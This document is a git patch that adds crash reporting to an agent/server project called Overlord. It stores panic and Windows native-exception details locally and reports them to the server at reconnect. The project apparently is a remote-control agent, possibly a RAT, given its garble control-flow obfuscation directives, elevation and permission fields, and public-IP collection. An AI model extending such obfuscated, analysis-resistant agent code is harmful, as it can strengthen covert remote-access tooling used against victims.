From 5f598aa10b0cada946580e40eda6fd0e37f30e31 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 29 Jun 2026 00:01:07 -0500 Subject: [PATCH] improve crashlogs --- Overlord-Client/cmd/agent/crashlog.go | 55 +++++++++++++++++++ Overlord-Client/cmd/agent/hardcrash_other.go | 5 ++ .../cmd/agent/hardcrash_windows.go | 46 ++++++++++++++++ Overlord-Client/cmd/agent/main.go | 1 + Overlord-Client/cmd/agent/session.go | 7 +++ Overlord-Client/cmd/agent/wire/protocol.go | 2 + Overlord-Server/src/db/repositories.ts | 10 ++++ Overlord-Server/src/protocol.ts | 2 + Overlord-Server/src/wsHandlers.ts | 9 ++- 9 files changed, 136 insertions(+), 1 deletion(-) create mode 100644 Overlord-Client/cmd/agent/hardcrash_other.go create mode 100644 Overlord-Client/cmd/agent/hardcrash_windows.go diff --git a/Overlord-Client/cmd/agent/crashlog.go b/Overlord-Client/cmd/agent/crashlog.go index f961b22..be8f92a 100644 --- a/Overlord-Client/cmd/agent/crashlog.go +++ b/Overlord-Client/cmd/agent/crashlog.go @@ -2,7 +2,9 @@ package main import ( "context" + "encoding/json" "fmt" + "io" "log" "os" "path/filepath" @@ -12,6 +14,14 @@ import ( ) const crashLogFileName = "crashlogC.log" +const pendingCrashFileName = "last-crash.json" + +type pendingCrashReport struct { + At string `json:"at"` + Reason string `json:"reason"` + Detail string `json:"detail,omitempty"` + Log string `json:"log,omitempty"` +} func handleFatalPanic() { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 @@ -19,6 +29,7 @@ func handleFatalPanic() { reason := fmt.Sprintf("panic: %v", r) stack := debug.Stack() path := writeCrashLog(reason, stack) + writePendingCrashReport("panic", reason, path) log.Printf("[fatal] %s (see %s)", reason, path) os.Exit(1) } @@ -33,6 +44,7 @@ func fatalExit(reason string, err error) { } stack := debug.Stack() path := writeCrashLog(reason, stack) + writePendingCrashReport("fatal", reason, path) log.Printf("[fatal] %s (see %s)", reason, path) os.Exit(1) } @@ -49,6 +61,7 @@ func recoverAndLog(label string, cancel context.CancelFunc) { reason := fmt.Sprintf("%s panic: %v", label, r) stack := debug.Stack() path := writeCrashLog(reason, stack) + writePendingCrashReport("panic", reason, path) log.Printf("[panic] %s (see %s)", reason, path) if cancel != nil { cancel() @@ -82,3 +95,45 @@ func writeCrashLog(reason string, stack []byte) string { func crashLogDir() string { return os.TempDir() } + +func pendingCrashPath() string { + return filepath.Join(crashLogDir(), pendingCrashFileName) +} + +func writePendingCrashReport(reason, detail, logPath string) { + report := pendingCrashReport{ + At: time.Now().UTC().Format(time.RFC3339), + Reason: reason, + Detail: detail, + Log: logPath, + } + _ = os.MkdirAll(crashLogDir(), 0700) + data, err := json.Marshal(report) + if err != nil { + return + } + _ = os.WriteFile(pendingCrashPath(), data, 0600) +} + +func loadPendingCrashReport() (pendingCrashReport, bool) { + data, err := os.ReadFile(pendingCrashPath()) + if err != nil { + return pendingCrashReport{}, false + } + var report pendingCrashReport + if json.Unmarshal(data, &report) != nil || report.Reason == "" { + return pendingCrashReport{}, false + } + if report.Detail == "" && report.Log != "" { + if f, err := os.Open(report.Log); err == nil { + defer f.Close() + buf, _ := io.ReadAll(io.LimitReader(f, 4096)) + report.Detail = string(buf) + } + } + return report, true +} + +func clearPendingCrashReport() { + _ = os.Remove(pendingCrashPath()) +} diff --git a/Overlord-Client/cmd/agent/hardcrash_other.go b/Overlord-Client/cmd/agent/hardcrash_other.go new file mode 100644 index 0000000..f0dfe4d --- /dev/null +++ b/Overlord-Client/cmd/agent/hardcrash_other.go @@ -0,0 +1,5 @@ +//go:build !windows + +package main + +func installHardCrashReporter() {} diff --git a/Overlord-Client/cmd/agent/hardcrash_windows.go b/Overlord-Client/cmd/agent/hardcrash_windows.go new file mode 100644 index 0000000..8cebf31 --- /dev/null +++ b/Overlord-Client/cmd/agent/hardcrash_windows.go @@ -0,0 +1,46 @@ +//go:build windows + +package main + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +type exceptionRecord struct { + ExceptionCode uint32 + ExceptionFlags uint32 + ExceptionRecord uintptr + ExceptionAddress uintptr + NumberParameters uint32 + ExceptionInformation [15]uintptr +} + +type exceptionPointers struct { + ExceptionRecord uintptr + ContextRecord uintptr +} + +var hardCrashCallback uintptr + +var procSetUnhandledExceptionFilter = windows.NewLazySystemDLL("kernel32.dll").NewProc("SetUnhandledExceptionFilter") + +func installHardCrashReporter() { + hardCrashCallback = syscall.NewCallback(func(info uintptr) uintptr { + detail := "unhandled native exception" + if info != 0 { + ptrs := (*exceptionPointers)(unsafe.Pointer(info)) + if ptrs.ExceptionRecord != 0 { + rec := (*exceptionRecord)(unsafe.Pointer(ptrs.ExceptionRecord)) + detail = fmt.Sprintf("exception=0x%08x address=0x%x flags=0x%x", rec.ExceptionCode, rec.ExceptionAddress, rec.ExceptionFlags) + } + } + path := writeCrashLog("hard crash: "+detail, nil) + writePendingCrashReport("crash", detail, path) + return 0 + }) + procSetUnhandledExceptionFilter.Call(hardCrashCallback) +} diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index dba3675..fad2ae1 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -12,6 +12,7 @@ import ( func main() { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 + installHardCrashReporter() cfg := config.Load() if cfg.SleepSeconds > 0 { diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 0374ad5..074aec7 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -667,6 +667,10 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. if cfg.FetchPublicIP { hello.PublicIP = config.FetchPublicIPAddress() } + if report, ok := loadPendingCrashReport(); ok { + hello.LastCrashReason = report.Reason + hello.LastCrashDetail = truncateStr(fmt.Sprintf("%s at %s", report.Detail, report.At), 1200) + } if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) @@ -712,6 +716,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. cancel() return fmt.Errorf("send initial ping: %w", err) } + if hello.LastCrashReason != "" { + clearPendingCrashReport() + } if interval := getPingInterval(); interval > 0 { log.Printf("ping: heartbeat interval=%s", interval) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index c1b3387..4619e66 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -26,6 +26,8 @@ type Hello struct { Elevation string `msgpack:"elevation,omitempty"` Permissions map[string]bool `msgpack:"permissions,omitempty"` PublicIP string `msgpack:"publicIP,omitempty"` + LastCrashReason string `msgpack:"lastCrashReason,omitempty"` + LastCrashDetail string `msgpack:"lastCrashDetail,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index 8555509..2300d93 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -343,6 +343,16 @@ export function setOnlineState(id: string, online: boolean, disconnectReason?: s invalidateClientMetricsSummaryCache(); } +export function setClientDisconnectInfo(id: string, disconnectReason: string, disconnectDetail?: string) { + db.run( + `UPDATE clients SET disconnect_reason=?, disconnect_detail=? WHERE id=?`, + disconnectReason || null, + disconnectDetail || null, + id, + ); + invalidateClientMetricsSummaryCache(); +} + const setOfflineStateStmt = db.prepare( `UPDATE clients SET online=0, last_seen=?, disconnect_reason=?, disconnect_detail=? WHERE id=?`, ); diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 7e3807a..6a9246b 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -43,6 +43,8 @@ export type Hello = { publicKey?: string; signature?: string; publicIP?: string; + lastCrashReason?: string; + lastCrashDetail?: string; }; export type EnrollmentChallenge = { diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index d1bdc93..9f61bf2 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -16,7 +16,8 @@ import { requestThumbnailRegen, } from "./thumbnails"; import { metrics } from "./metrics"; -import { markClientDbSynced, queueClientDbUpdate, shouldSyncClientToDb } from "./client-db-sync"; +import { flushQueuedClientDbUpdates, markClientDbSynced, queueClientDbUpdate, shouldSyncClientToDb } from "./client-db-sync"; +import { setClientDisconnectInfo } from "./db"; export { clearClientSyncState } from "./client-db-sync"; @@ -122,6 +123,8 @@ export async function handleHello( info.country = country; info.lastSeen = Date.now(); info.online = true; + const lastCrashReason = sanitizeInfoString((payload as any).lastCrashReason, 64); + const lastCrashDetail = sanitizeInfoString((payload as any).lastCrashDetail, 1200); queueClientDbUpdate({ id: info.id, @@ -146,6 +149,10 @@ export async function handleHello( lastSeen: info.lastSeen, online: 1, }); + if (lastCrashReason) { + flushQueuedClientDbUpdates(); + setClientDisconnectInfo(info.id, lastCrashReason, lastCrashDetail); + } sendPingRequest(info, ws, "hello");